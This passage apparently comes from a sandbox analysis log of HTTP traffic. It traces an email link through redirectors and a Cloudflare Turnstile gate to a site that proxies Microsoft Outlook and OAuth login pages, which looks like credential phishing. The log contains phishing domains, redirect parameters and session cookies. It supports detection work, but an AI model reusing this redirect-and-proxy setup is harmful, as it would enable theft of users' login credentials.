fA0N6etXLA96fhfj47EhMTqlqBXLv4LqrqaDUI0GAM8vnqsIFajHSlk3IdP-K6_fu8QjPQaATc-iwWg5EbU8XpiraR2ine82Icoq7xFVX8ukZbV4xhgTd9Lgb32D-AkRyIrSsuctZ1V_KnO3JcKJfsMXH3IJlpYQqZU1gD75sJAU3SCLiWqgEL3l-6yVNbX8pfcAQrKaHpjYfous8Dy98h0-lWUOhsgC3auEG4DGrIvvs0aMTxyXuKUvRYe1OFMN9GCes0B68ItWfIVQWTRn67dE0vY_nWdXrQngUQY54l8VkdApOa7R0p73wxd1w_Ooc51KqsXxlhNIkn4rg5ucglxlq14YFbOrhZdRUmJ7uZrKvbF2Ol2uH1HjRQZGJpISvqtDV66KRv2WZgrd8qTcAECbNzEVvRjJFXOWe92euWxPDzyOAEQq9vAeRrL5PEQeeq2FjTTSt2SUdyLhAJ8jFaBmcrv74VY9XEk1rK5URTuA4WxfVFH2IZVExj17X9cA7Y506YkBH7E8PqXZJZwjr0W0TnfXbPoKPy5_kNztwnYH1zOKY60Vw-pBb1GqdVwvWYlln8Fhz1zkmxADQFNTy2GdTFSYEvWDzUOPPiW_Tx_hcp_AxBuOH1BjSWprIh9tlsPd_iS0AYQuGDIxN7Q4WckHw6ayPi36TrNn5PCaYY9quTM7Voqe7l6P36JFW360Wd9H8FjJ4mJAc7IJaJ-RL42LEpBhEqAq4kMAfq_rRNR7AAtFxxirXXJOPym8RRwRwvJQw9mu3k_pl-umCxNIEB3mVZsjp4Ik6HE90VSwjtIu58IAUwdn_dA4JeKi2ZtahCHKe9fgzrIPHCqBU9txOSkubVmr5Pe_iD7ABb2SYrLlowDzo28j38-LFL4RLI4Syjs6SLgo8fmIIqs5q7URxQ1AZ5sHkp6YCcuzY0Dv0impNmBXxzzwfMwYVjRthr6ZM26frkDo3XAzYp2DTNBLAXDoiy_DanpQ3KfmggdsbYjs_iRAyQC_OHOjuxRxBmUgbLt41vcXhN89-Cq1MUBz5V9AZXpOfxC9nchu2EiQQBuN1NkCLIYGBwRaMCD3jNhJmzvooy6SsgPTFA HTTP/1.1 Host: url.us.m.mimecastprotect.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: na
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /api/orgs/6a41e90b-d409-ef11-9f83-6045bd003e15/r/FvEiDKgZE0-MU3pAD1G4ZQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fgreefrunners.co.za%252F%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=8tFUOLbq88kJ1qWVPQO24Iw0VllK%2Bt5cof7eRnCG1Bk%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://url2.mailanyone.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1 Host: greefrunners.co.za Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://url2.mailanyone.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1 Host: greefrunners.co.za Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?xeuxuwcg&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 HTTP/1.1 Host: hdbfhja.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?xeuxuwcg=ec88ccf3521205507dea895bdd8c3dd57082bcf2b8e2d8cb549d067aa15240ca465f646207db5f3c3b1aaa7db51b6765211ca48965e9c1476f5fe534a8b2d46e&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 HTTP/1.1 Host: hdbfhja.store Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/ce7818f50e39/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8803495f9bd55e68 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1 Host: hdbfhja.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hdbfhja.store/?xeuxuwcg=ec88ccf3521205507dea895bdd8c3dd57082bcf2b8e2d8cb549d067aa15240ca465f646207db5f3c3b1aaa7db51b6765211ca48965e9c1476f5fe534a8b2d46e&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8803495f9bd55e68/1715106684072/4c4248d5deb5b918dc16c1422e92278fae79f8e98f3c6127774c242cd8762d3b/LbTYmcAp2-H4CPj HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8803495f9bd55e68/1715106684074/MWyLVv4AMsqffjI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8803495f9bd55e68/1715106684074/MWyLVv4AMsqffjI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2lodm5iaGJ2aGJhc2RqYmhqdmJmaC5zaXRlIiwiZG9tYWluIjoiaWh2bmJoYnZoYmFzZGpiaGp2YmZoLnNpdGUiLCJrZXkiOiJsQUlMSWVyZDZWcVAiLCJxcmMiOm51bGwsImlhdCI6MTcxNTEwNjY5NywiZXhwIjoxNzE1MTA2ODE3fQ.he_U96iM5-m3tQrPAFlHg1amMxA0JNkejLj938aPDH0 HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ
Source: global traffic	HTTP traffic detected: GET /?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U= HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv8; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8DVO5JEAlIBf1bEL79vRWgj5g8g0xL0BOYUVc8qCC-DH2Ns4vn-TbExgmXr7FjOq8FGIRA0BWlQLNCDmMP1MMbh3MIIlvzGMP1DkEpylUGgcFoimhg6YGTXAwfKIjIEO-LXnny-ojEG00ryXdYJdlgVv5uLutPJUGeMC1Bi5mKNkgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" 